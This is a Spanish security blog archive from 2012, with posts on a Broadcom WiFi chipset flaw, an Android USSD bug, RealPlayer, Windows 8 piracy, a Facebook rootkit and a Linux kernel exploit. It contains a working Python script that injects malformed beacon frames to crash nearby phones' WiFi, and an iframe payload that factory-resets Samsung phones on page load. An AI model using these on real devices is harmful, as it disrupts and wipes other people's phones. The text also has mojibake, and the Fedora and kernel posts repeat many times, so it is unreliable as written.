domingo, 18 de noviembre de 2012
Denegaci贸n de servicio a multitud de Smartphones via WiFi
Se ha publicado una vulnerabilidad presente en determinados Chipset de la firma Broadcom, en especial los modelos BCM4325/29 integrados en multitud de dispositivos inal谩mbricos como smartphones, tablets e incluso veh铆culos (como el Ford Edge).
El fallo permitir铆a realizar una denegaci贸n de servicio al m贸dulo inal谩mbrico e incluso la revelaci贸n de informaci贸n sensible seg煤n los propios investigadores. El fallo podr铆a reproducirse atacando directamente al m贸dulo WiFi independientemente del sistema operativo presente en el dispositivo.
La vulnerabilidad (CVE-2012-2619) reportada por el laboratorio de CoreLabs (Core Security Technologies) fue descubierta por el investigador argentino Andr茅s Blanco, del que hizo p煤blica demostraci贸n durante la pasada Ekoparty en Buenos Aires, Argentina. Su compa帽ero Matias Eissler desarroll贸 la prueba de concepto totalmente funcional.
Mediante estudios de ingenier铆a inversa consiguieron comprender la estructura del firmware de los dispositivos Broadcom, hallando la forma de alterar el tr谩fico WiFi (normativa IEEE 802.11) de tal manera que afectara a dichos dispositivos inal谩mbricos, a trav茅s del env铆o de tramas RSN (IEEE 802.11i, WPA/WPA2) especialmente manipuladas.
El protocolo RSN (Robust Security Network) interviene en la negociaci贸n y establecimiento del tipo de autenticaci贸n y cifrado utilizado durante una sesi贸n WPA/WPA2.
En coordinaci贸n con los investigadores y el US-CERT, Broadcom facilit贸 a los diferentes fabricantes (Apple, HTC, Motorola, Sony, Nokia, Samsung...) un nuevo firmware que impide la vulnerabilidad para
integrarlo en sus dispositivos, por lo que se da como subsanada.
Los dispositivos afectados con el chipset BCM4325:
Apple iPhone 3GS
Apple iPod 2G
HTC Touch Pro 2
HTC Droid Incredible
Samsung Spica
Acer Liquid
Motorola Devour
Veh铆culo Ford Edge
Dispositivos afectados con el chipset BCM4329:
Apple iPhone 4
Apple iPhone 4 Verizon
Apple iPod 3G
Apple iPad Wi-Fi
Apple iPad 3G
Apple iPad 2
Apple Tv 2G
Motorola Xoom
Motorola Droid X2
Motorola Atrix
Samsung Galaxy Tab
Samsung Galaxy S 4G
Samsung Nexus S
Samsung Stratosphere
Samsung Fascinate
HTC Nexus One
HTC Evo 4G
HTC ThunderBolt
HTC Droid Incredible 2
LG Revolution
Sony Ericsson Xperia Play
Pantech Breakout
Nokia Lumina 800
Kyocera Echo
Asus Transformer Prime
Malata ZPad
Y la prueba de concepto realizada por Matias Eissler:
C贸digo:
- ------------------------- poc.py -------------------------
#!/usr/bin/env python
import sys
import time
import struct
import PyLorcon2
def beaconFrameGenerator():
sequence = 0
while(1):
sequence = sequence % 4096
# Frame Control
frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon
frame += '\x00' # Flags: 0
frame += '\x00\x00' # Duration: 0
frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff
frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad
frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad
frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:
part of the generator
# Frame Body
frame += struct.pack('Q', time.time()) # Timestamp
frame += '\x64\x00' # Beacon Interval: 0.102400 seconds
frame += '\x11\x04' # Capability Information: ESS, Privacy,
Short Slot time
# Information Elements
# SSID: buggy
frame += '\x00\x05buggy'
# Supported Rates: 1,2,5.5,11,18,24,36,54
frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'
# DS Parameter Set: 6
frame += '\x03\x01\x06'
# RSN IE
frame += '\x30' # ID: 48
frame += '\x14' # Size: 20
frame += '\x01\x00' # Version: 1
frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP
frame += '\x01\x00' # Pairwise cipher suite count: 1
frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP
frame += '\xff\xff' # Authentication suites count: 65535
frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK
frame += '\x00\x00'
sequence += 1
yield frame
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:"
print "\t%s <wireless interface>" % sys.argv[0]
sys.exit(-1)
iface = sys.argv[1]
context = PyLorcon2.Context(iface)
context.open_injmon()
generator = beaconFrameGenerator()
for i in range(10000):
frame = generator.next()
time.sleep(0.100)
context.send_bytes(frame)
VU#160027: Broadcom BCM4325 and BCM4329 wireless chipset denial-of-service vulnerability
US-CERT Vulnerability Note VU#160027 - Broadcom BCM4325 and BCM4329 wireless chipset denial-of-service vulnerability
Broadcom DoS on BCM4325 and BCM4329 devices
Core Security Technologies
One firmware to monitor 'em all
Corelabs site
Ejecuci贸n remota de c贸digo en RealPlayer
Se ha publicado una vulnerabilidad en la 煤ltima versi贸n de RealPlayer que podr铆a permitir ejecutar c贸digo arbitrario si se abre un fichero especialmente manipulado.
RealPlayer es un reproductor multimedia de la empresa RealNetworks capaz de reproducir multitud de formatos de audio y v铆deo como MP3, MP4, WMA, WAV, AAC, AVI, MOV, WMV, 3GP y RM.
La vulnerabilidad que afecta a RealPlayer est谩 causada por un error al procesar ficheros .3GP y .3G2 que podr铆a causar un desbordamiento de memoria y permitir la escritura en zonas en las que no se dispone de
acceso. Aprovechando este error un atacante remoto podr铆a lograr la ejecuci贸n de c贸digo arbitrario con los permisos del usuario que lanza el reproductor multimedia. La v铆ctima deber铆a reproducir un fichero de v铆deo especialmente manipulado para poder reproducir la vulnerabilidad.
La vulnerabilidad ha sido reportada por eEye Digital Security, y afecta a la versi贸n actual de RealPlayer, la 15.0.6.14.
Existe una prueba de concepto publicada por 'coolkaveh', en forma de fichero .3G2, que provoca una corrupci贸n de memoria y posterior cierre del reproductor.
M谩s informaci贸n:
RealPlayer 3GP/3G2 File Handling Memory Corruption
Zero-Day Tracker 2012 | eEye Digital Security
El “Gato de Schrodinger” es el nombre de Fedora 19
Muchas veces hemos escuchado que los proyectos de c贸mputo tienen nombres extra帽os y en ocasiones hasta bizarros. Por ejemplo, Turbo Pascal para Windows, de Borland, ten铆a como nombre clave “Delphi” y finalmente, 茅ste fue el nombre que se qued贸. As铆, solamente con el cambio de nombre pod铆amos decir que sab铆amos un nuevo lenguaje de programaci贸n, aunque estuvi茅semos hablando de Pascal, ese viejo amigo. Otro ejemplo es Ubuntu, que su versi贸n 12.17 se llamar谩 Quantal Quetzal.
Con esto en mente, Fedora decidi贸 hacer una especie de consulta en el mundo geek, para ver c贸mo se llamar铆a su siguiente versi贸n de su distribuci贸n de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.
As铆, Fedora ha decidido que la siguiente versi贸n, la 19, se llamar谩 “el gato de Schrodinger”. Cabe decir que la versi贸n anterior ten铆a un nombre quiz谩s m谩s extra帽o: “Vaca esf茅rica”. Esto viene de la f铆sica te贸rica y es en realidad una broma geek: “Tengo una f贸rmula para mejorar la producci贸n de leche pero solamente trabaja bien con una vaca esf茅rica en el vac铆o”.
El gato de Schrodinger es otro tema de la f铆sica cu谩ntica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una part铆cula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la part铆cula se desintegra, el veneno se libera y el gato muere.
Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato est茅 muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato est茅 vivo. Seg煤n los principios de la mec谩nica cu谩ntica, la descripci贸n correcta del sistema en ese momento (su funci贸n de onda) ser谩 el resultado de la superposici贸n de los estados “vivo” y “muerto” (a su vez descritos por su funci贸n de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, 茅ste estar谩 vivo o muerto (que es cuando se colapsa precisamente la funci贸n de onda, que a todo esto es una expresi贸n matem谩tica sin asidero en la f铆sica, como lo es, por ejemplo, la ecuaci贸n de la segunda ley de Newton).
Ah铆 radica la paradoja. Mientras que en la descripci贸n cl谩sica del sistema el gato estar谩 vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mec谩nica cu谩ntica el sistema se encuentra en una superposici贸n de los estados posibles hasta que interviene el observador. El paso de una superposici贸n de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: s贸lo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una inc贸gnita, que ha dado lugar a distintas interpretaciones de car谩cter especulativo.
Con esto en mente, Fedora decidi贸 hacer una especie de consulta en el mundo geek, para ver c贸mo se llamar铆a su siguiente versi贸n de su distribuci贸n de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.
As铆, Fedora ha decidido que la siguiente versi贸n, la 19, se llamar谩 “el gato de Schrodinger”. Cabe decir que la versi贸n anterior ten铆a un nombre quiz谩s m谩s extra帽o: “Vaca esf茅rica”. Esto viene de la f铆sica te贸rica y es en realidad una broma geek: “Tengo una f贸rmula para mejorar la producci贸n de leche pero solamente trabaja bien con una vaca esf茅rica en el vac铆o”.
El gato de Schrodinger es otro tema de la f铆sica cu谩ntica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una part铆cula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la part铆cula se desintegra, el veneno se libera y el gato muere.
Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato est茅 muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato est茅 vivo. Seg煤n los principios de la mec谩nica cu谩ntica, la descripci贸n correcta del sistema en ese momento (su funci贸n de onda) ser谩 el resultado de la superposici贸n de los estados “vivo” y “muerto” (a su vez descritos por su funci贸n de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, 茅ste estar谩 vivo o muerto (que es cuando se colapsa precisamente la funci贸n de onda, que a todo esto es una expresi贸n matem谩tica sin asidero en la f铆sica, como lo es, por ejemplo, la ecuaci贸n de la segunda ley de Newton).
Ah铆 radica la paradoja. Mientras que en la descripci贸n cl谩sica del sistema el gato estar谩 vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mec谩nica cu谩ntica el sistema se encuentra en una superposici贸n de los estados posibles hasta que interviene el observador. El paso de una superposici贸n de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: s贸lo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una inc贸gnita, que ha dado lugar a distintas interpretaciones de car谩cter especulativo.
As铆, las votaciones para elegir el nombre de la siguiente versi贸n de Fedora fueron de la siguiente manera:
Un total de 3128 votos
Votos :: Nombre
——————————————–
1876 :: Gato de Schrodinger
1620 :: Bos贸n de Higgs
1012 :: Tiddalik
960 :: Monstruo de Loch Ness (lago Ness)
907 :: Din谩mica newtoniana
892 :: Blueberries marcianas
722 :: Potasio parab贸lico
595 :: Becerro c煤bico
S铆, muchos nombres basados en la ciencia y pocas sugerencias sociales. La lista completa puede verse aqu铆.
Muchas veces
hemos escuchado que los proyectos de c贸mputo tienen nombres extra帽os y
en ocasiones hasta bizarros. Por ejemplo, Turbo Pascal para Windows, de
Borland, ten铆a como nombre clave “Delphi” y finalmente, 茅ste fue el
nombre que se qued贸. As铆, solamente con el cambio de nombre pod铆amos
decir que sab铆amos un nuevo lenguaje de programaci贸n, aunque
estuvi茅semos hablando de Pascal, ese viejo amigo. Otro ejemplo es
Ubuntu, que su versi贸n 12.17 se llamar谩 Quantal Quetzal.
Con esto en mente, Fedora decidi贸 hacer una especie de consulta en el mundo geek, para ver c贸mo se llamar铆a su siguiente versi贸n de su distribuci贸n de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.
As铆, Fedora ha decidido que la siguiente versi贸n, la 19, se llamar谩 “el gato de Schrodinger”. Cabe decir que la versi贸n anterior ten铆a un nombre quiz谩s m谩s extra帽o: “Vaca esf茅rica”. Esto viene de la f铆sica te贸rica y es en realidad una broma geek: “Tengo una f贸rmula para mejorar la producci贸n de leche pero solamente trabaja bien con una vaca esf茅rica en el vac铆o”.
El gato de Schrodinger es otro tema de la f铆sica cu谩ntica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una part铆cula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la part铆cula se desintegra, el veneno se libera y el gato muere.
Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato est茅 muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato est茅 vivo. Seg煤n los principios de la mec谩nica cu谩ntica, la descripci贸n correcta del sistema en ese momento (su funci贸n de onda) ser谩 el resultado de la superposici贸n de los estados “vivo” y “muerto” (a su vez descritos por su funci贸n de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, 茅ste estar谩 vivo o muerto (que es cuando se colapsa precisamente la funci贸n de onda, que a todo esto es una expresi贸n matem谩tica sin asidero en la f铆sica, como lo es, por ejemplo, la ecuaci贸n de la segunda ley de Newton).
Ah铆 radica la paradoja. Mientras que en la descripci贸n cl谩sica del sistema el gato estar谩 vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mec谩nica cu谩ntica el sistema se encuentra en una superposici贸n de los estados posibles hasta que interviene el observador. El paso de una superposici贸n de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: s贸lo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una inc贸gnita, que ha dado lugar a distintas interpretaciones de car谩cter especulativo.
Con esto en mente, Fedora decidi贸 hacer una especie de consulta en el mundo geek, para ver c贸mo se llamar铆a su siguiente versi贸n de su distribuci贸n de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.
As铆, Fedora ha decidido que la siguiente versi贸n, la 19, se llamar谩 “el gato de Schrodinger”. Cabe decir que la versi贸n anterior ten铆a un nombre quiz谩s m谩s extra帽o: “Vaca esf茅rica”. Esto viene de la f铆sica te贸rica y es en realidad una broma geek: “Tengo una f贸rmula para mejorar la producci贸n de leche pero solamente trabaja bien con una vaca esf茅rica en el vac铆o”.
El gato de Schrodinger es otro tema de la f铆sica cu谩ntica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una part铆cula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la part铆cula se desintegra, el veneno se libera y el gato muere.
Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato est茅 muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato est茅 vivo. Seg煤n los principios de la mec谩nica cu谩ntica, la descripci贸n correcta del sistema en ese momento (su funci贸n de onda) ser谩 el resultado de la superposici贸n de los estados “vivo” y “muerto” (a su vez descritos por su funci贸n de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, 茅ste estar谩 vivo o muerto (que es cuando se colapsa precisamente la funci贸n de onda, que a todo esto es una expresi贸n matem谩tica sin asidero en la f铆sica, como lo es, por ejemplo, la ecuaci贸n de la segunda ley de Newton).
Ah铆 radica la paradoja. Mientras que en la descripci贸n cl谩sica del sistema el gato estar谩 vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mec谩nica cu谩ntica el sistema se encuentra en una superposici贸n de los estados posibles hasta que interviene el observador. El paso de una superposici贸n de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: s贸lo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una inc贸gnita, que ha dado lugar a distintas interpretaciones de car谩cter especulativo.
Muchas veces
hemos escuchado que los proyectos de c贸mputo tienen nombres extra帽os y
en ocasiones hasta bizarros. Por ejemplo, Turbo Pascal para Windows, de
Borland, ten铆a como nombre clave “Delphi” y finalmente, 茅ste fue el
nombre que se qued贸. As铆, solamente con el cambio de nombre pod铆amos
decir que sab铆amos un nuevo lenguaje de programaci贸n, aunque
estuvi茅semos hablando de Pascal, ese viejo amigo. Otro ejemplo es
Ubuntu, que su versi贸n 12.17 se llamar谩 Quantal Quetzal.
Con esto en mente, Fedora decidi贸 hacer una especie de consulta en el mundo geek, para ver c贸mo se llamar铆a su siguiente versi贸n de su distribuci贸n de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.
As铆, Fedora ha decidido que la siguiente versi贸n, la 19, se llamar谩 “el gato de Schrodinger”. Cabe decir que la versi贸n anterior ten铆a un nombre quiz谩s m谩s extra帽o: “Vaca esf茅rica”. Esto viene de la f铆sica te贸rica y es en realidad una broma geek: “Tengo una f贸rmula para mejorar la producci贸n de leche pero solamente trabaja bien con una vaca esf茅rica en el vac铆o”.
El gato de Schrodinger es otro tema de la f铆sica cu谩ntica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una part铆cula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la part铆cula se desintegra, el veneno se libera y el gato muere.
Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato est茅 muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato est茅 vivo. Seg煤n los principios de la mec谩nica cu谩ntica, la descripci贸n correcta del sistema en ese momento (su funci贸n de onda) ser谩 el resultado de la superposici贸n de los estados “vivo” y “muerto” (a su vez descritos por su funci贸n de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, 茅ste estar谩 vivo o muerto (que es cuando se colapsa precisamente la funci贸n de onda, que a todo esto es una expresi贸n matem谩tica sin asidero en la f铆sica, como lo es, por ejemplo, la ecuaci贸n de la segunda ley de Newton).
Ah铆 radica la paradoja. Mientras que en la descripci贸n cl谩sica del sistema el gato estar谩 vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mec谩nica cu谩ntica el sistema se encuentra en una superposici贸n de los estados posibles hasta que interviene el observador. El paso de una superposici贸n de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: s贸lo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una inc贸gnita, que ha dado lugar a distintas interpretaciones de car谩cter especulativo.
Con esto en mente, Fedora decidi贸 hacer una especie de consulta en el mundo geek, para ver c贸mo se llamar铆a su siguiente versi贸n de su distribuci贸n de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.
As铆, Fedora ha decidido que la siguiente versi贸n, la 19, se llamar谩 “el gato de Schrodinger”. Cabe decir que la versi贸n anterior ten铆a un nombre quiz谩s m谩s extra帽o: “Vaca esf茅rica”. Esto viene de la f铆sica te贸rica y es en realidad una broma geek: “Tengo una f贸rmula para mejorar la producci贸n de leche pero solamente trabaja bien con una vaca esf茅rica en el vac铆o”.
El gato de Schrodinger es otro tema de la f铆sica cu谩ntica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una part铆cula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la part铆cula se desintegra, el veneno se libera y el gato muere.
Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato est茅 muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato est茅 vivo. Seg煤n los principios de la mec谩nica cu谩ntica, la descripci贸n correcta del sistema en ese momento (su funci贸n de onda) ser谩 el resultado de la superposici贸n de los estados “vivo” y “muerto” (a su vez descritos por su funci贸n de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, 茅ste estar谩 vivo o muerto (que es cuando se colapsa precisamente la funci贸n de onda, que a todo esto es una expresi贸n matem谩tica sin asidero en la f铆sica, como lo es, por ejemplo, la ecuaci贸n de la segunda ley de Newton).
Ah铆 radica la paradoja. Mientras que en la descripci贸n cl谩sica del sistema el gato estar谩 vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mec谩nica cu谩ntica el sistema se encuentra en una superposici贸n de los estados posibles hasta que interviene el observador. El paso de una superposici贸n de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: s贸lo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una inc贸gnita, que ha dado lugar a distintas interpretaciones de car谩cter especulativo.
s谩bado, 27 de octubre de 2012
Vulnerabilidad de USSD en Android Neutraliza la Tarjeta SIM y Resetea el Telefono!!!
Ha salido a la luz la noticia de un error en Android que permite inutilizar totalmente la tarjeta SIM de un tel茅fono m贸vil, e incluso dependiendo de la marca, permite que el m贸vil sea reseteado s贸lo con visitar una p谩gina web maliciosa. El ataque puede consumarse con solo visitar una p谩gina web.
El lugar de presentaci贸n del error fue la 煤ltima Ekoparty en Buenos Aires por Ravi Borgaonkar (@raviborgaonkar) realizada. El error es la autoejecuci贸n de los comandos USSD en los dispositivos Android.
¿Qu茅 es un USSD?
El USSD, acr贸nimo de 'Unstructured Supplementary Service Data', es un servicio que permite el env铆o de datos a trav茅s de redes m贸viles GSM de forma inmediata, muy similar al SMS. La diferencia es que no necesita de ning煤n intermediario como ocurre con los SMS, que precisan de un SMSC (Short Message Service Center) para almacenar el SMS de un terminal origen hasta que el terminal destino est谩 disponible.
Cuando un usuario introduce un c贸digo USSD, la respuesta del servicio suele ser casi instant谩nea. Se hace uso de de USSD, por ejemplo, para realizar una consulta de saldo o conocer el IMEI del tel茅fono.
¿Cu谩l es el error?
El error se da por un fallo en la programaci贸n de Android, espec铆ficamente en los 'intents', que ejecutan autom谩ticamente los tag que contienen USSDs sin la necesidad de que este sea validado por parte del usuario.
Ravi Borgaonkar se basa en el tag 'tel', un intent para notificar la acci贸n de que se va a utilizar la llamada telef贸nica, perfectamente v谩lido y definido en el W3C que da la capacidad de marcar n煤meros de tel茅fono, (no solamente a los tel茅fonos Android, sino a todas las plataformas disponibles, incluso a las m谩s antiguas si disponen de un navegador web).
¿C贸mo puede afectar este error al tel茅fono?
El error, tal y como explic贸 Ravi, se puede utilizar para enviar 10 veces el c贸digo PUK err贸neo, y esto (documentado en el RFC de telefon铆a), deshabilitar铆a inmediatamente una tarjeta SIM. Dejar铆a a la v铆ctima sin tel茅fono hasta que el operador facilitara otra tarjeta v谩lida.
¿Como se puede aprovechar la vulnerabilidad?
El error puede ser aprovechado de forma remota simplemente accediendo a una p谩gina web. Se hace especialmente f谩cil a trav茅s de c贸digos QR, una URL acortada por un acortador de direcciones o simplemente a trav茅s de la ingenier铆a social. Los USSD pueden ser tambi茅n introducidos a trav茅s
de tecnolog铆a NFC (Next Field Communications).
¿Por qu茅 afecta de forma especial a Samsung?
Adem谩s del ataque anteriormente descrito, Samsung es vulnerable a otro ataque adicional que permite que un dispositivo sea reseteado volviendo a sus valores de f谩bricas. Esto es debido a que Samsung dispone de un USSD 'especial' no documentado oficialmente que permite a devolver los par谩metros del tel茅fono a los valores de f谩brica. Se han usado a veces en algunos modelos para liberar los tel茅fonos de esta marca. Otras
marcas podr铆an verse afectadas como HTC o Sony.
En concreto, el c贸digo para los Galaxy es el *2767*3855# y la vulnerabilidad puede ser explotable de forma directa con una simple visita a una p谩gina web que contenga el c贸digo de reseteo en la etiqueta
'tel', quedando de una forma similar a esta.
C贸digo:
<iframe src="tel:*2767*3855%23" width="320" height="240"></iframe>
Para saber si se es vulnerable sin riesgos, se puede realizar la prueba con el c贸digo USSD universal para conocer el IMEI:
C贸digo:
<iframe src="tel:*%2306%23"></iframe>
M谩s informaci贸n:
Some Android phones can be reset to factory default by clicking on links
ISC Diary | Some Android phones can be reset to factory default by clicking on links
TelStop de Collin Mulliner
https://play.google.com/store/apps/d...lliner.telstop
Resetear un tel茅fono Samsung con solo visitar un enlace
http://www.dragonjar.org/resetear-un...n-enlace.xhtml
Un Ruso Logra Hackear Windows 8 a Solo Unas Cuantas Horas De Su Liberacion Oficial!!!!!
El
sistema de protecci贸n de Windows 8 ya fue hackeado por un pirata ruso,
lo que ha demostrado la inutilidad del sistema proporcionado por
Microsoft para proteger su software. La opci贸n m谩s viable para que
Microsoft detenga a quienes piratean sus productos es bajarle el precio…
algo que Bill Gates probablemente no desee.
El
nuevo sistema de protecci贸n de Windows 8 logr贸 contener a los piratas
solo durante unas horas. Un hacker ruso identificado como Wzt ha
filtrado a Internet las versiones Pro y Enterprise de Windows 8.
Posteriormente, el mismo individuo proporcion贸 acceso a las claves de
activaci贸n de las versiones de distribuci贸n por volumen.
Pocas
horas despu茅s que el servidor de activaci贸n comenzara a recibir las
primeras llamadas de piratas, Microsoft bloque贸 el sistema, haciendo
imposible la activaci贸n de Windows 8 Pro y Enterprise por parte de
usuarios ileg铆timos.
Esto,
a su vez, motivo una respuesta inmediata de los hackers, que por la
noche hab铆an logrado eludir la protecci贸n, permitiendo nuevamente la
activaci贸n de versiones pirateadas del nuevo sistema operativo de
Microsoft.
Indudablemente,
la informaci贸n causa incomodidad en Microsoft, que ha propuesto a sus
socios OEM (fabricantes de hardware original) un sistema de protecci贸n
de Windows que implica insertar en la BIOS o UEFI una clave 煤nica de
activaci贸n de Windows 8. El nuevo sistema implica que los fabricantes
reciben las claves directamente desde Microsoft.
En
los foros de Internet donde se discute el nuevo sistema antipirater铆a
de Windows 8, las opiniones coinciden en se帽alar que los piratas siempre
encontrar谩n la forma de eludir las protecciones y utilizar el sistema
operativo sin pagar. 脡ste razonamiento lleva a algunos a concluir que,
en realidad, la mejor opci贸n con que cuenta Microsoft en su lucha contra
la pirater铆a es el precio del producto. Es decir, si Windows 8 tiene un
precio “asequible para la mayor铆a”, la pirater铆a perder铆a en parte su
sentido.
脡ste razonamiento es altamente relativo, y debe ser contrastado
con informaci贸n seg煤n la cual incluso aplicaciones con un precio de
venta de 99 centavos de d贸lar son pirateadas.
domingo, 1 de abril de 2012
Facebook: Nuevo malware infecta a miles de usuarios
Lo mas de 800 millones de usuarios de facebook la convierten
en un apetitoso blanco para los ciberdelincuentes, por m铆nimo que esta
sea supone miles de usuarios infectados o estafados.
Un falso enlace a la supuesta web del canal estadounidense CNN avisa
de un inminente ataque militar de Estados Unidos contra Ir谩n y Arabia
Saud铆, en lo que supondr铆a el te贸rico inicio de la Tercera Guerra
Mundial.
En dicho enlace el usuario es redirigido a una web falsa con la apariencia del citado medio de reconocido prestigio mundial.
En dicha web se intenta atraer la atenci贸n de las v铆ctimas con
supuestos v铆deos sobre el citado conflicto. Sin embargo, para poder
visualizarlos al pulsarlos se pide a los usuarios que instalen una supuesta actualizaci贸n de Adobe Flash Player, momento en el que se descarga e instala el archivo malicioso, detectado como “Troj / Rootkit-JV“.
Al tratarse de un rootkit,
entra帽a los riesgos de este tipo de malware, convirtiendo el ordenador
infectado en una fuente para que los intrusos puedan extraer de 茅l todo
tipo de informaci贸n sin el permiso del usuario o ejecutar acciones de
forma remota.
El ritmo de propagaci贸n del malware ha sido muy alto, ya que seg煤n alerta la empresa de seguridad, m谩s de 60.000 usuarios han sido enga帽ados
en apenas tres horas. Sophos ha se帽alado que el c贸digo malicioso
instalado en los ordenadores de los usuarios est谩 enviando el mensaje a
Facebook sin que los usuarios lo sepan, de modo que sus contactos son
v铆ctimas potenciales de este archivo.
s谩bado, 4 de febrero de 2012
Elevaci贸n de privilegios en el kernel Linux y un exploit interesante
El pasado d铆a 17 de enero, Linus Torvalds hizo un commit para corregir una elevaci贸n de privilegios en el kernel Linux 2.6 (CVE-2012-0056). El fallo fue descubierto por J眉ri Aedla y seg煤n comenta Torvalds en el
propio parche, se debe a una incorrecta comprobaci贸n de privilegios al abrir el /proc/#pid#/mem de un proceso.
Este error no pas贸 desapercibido a Jason A. Donenfeld que ha escrito y publicado un interesante exploit lo ha bautizado como 'Mempodipper'.
Donenfeld estudi贸 en detalle el proceso de explotaci贸n. De partida se encontr贸 con que efectivamente la comprobaci贸n de permisos era d茅bil y adem谩s, que la protecci贸n contra escritura en el espacio de memoria del proceso fue eliminada del c贸digo del kernel. De hecho puede leerse en el comentario del commit correspondiente, que se eliminaba la restricci贸n porque no se consideraba un peligro la escritura en /proc/#pid#/mem.
Esto hace virtualmente vulnerables a los n煤cleos con versi贸n 2.6.39 o superior.
C贸mo funciona:
Cuando se abre /proc/#pid#/mem se usa la funci贸n 'mem_open'. Dicha funci贸n almacena el 'self_exec_id' correspondiente al proceso que solicita la apertura. Esto se hace para comprobar posteriormente si son suficientes privilegios cuando se efect煤an operaciones de lectura o escritura sobre el descriptor de fichero obtenido.
propio parche, se debe a una incorrecta comprobaci贸n de privilegios al abrir el /proc/#pid#/mem de un proceso.
Este error no pas贸 desapercibido a Jason A. Donenfeld que ha escrito y publicado un interesante exploit lo ha bautizado como 'Mempodipper'.
Donenfeld estudi贸 en detalle el proceso de explotaci贸n. De partida se encontr贸 con que efectivamente la comprobaci贸n de permisos era d茅bil y adem谩s, que la protecci贸n contra escritura en el espacio de memoria del proceso fue eliminada del c贸digo del kernel. De hecho puede leerse en el comentario del commit correspondiente, que se eliminaba la restricci贸n porque no se consideraba un peligro la escritura en /proc/#pid#/mem.
Esto hace virtualmente vulnerables a los n煤cleos con versi贸n 2.6.39 o superior.
C贸mo funciona:
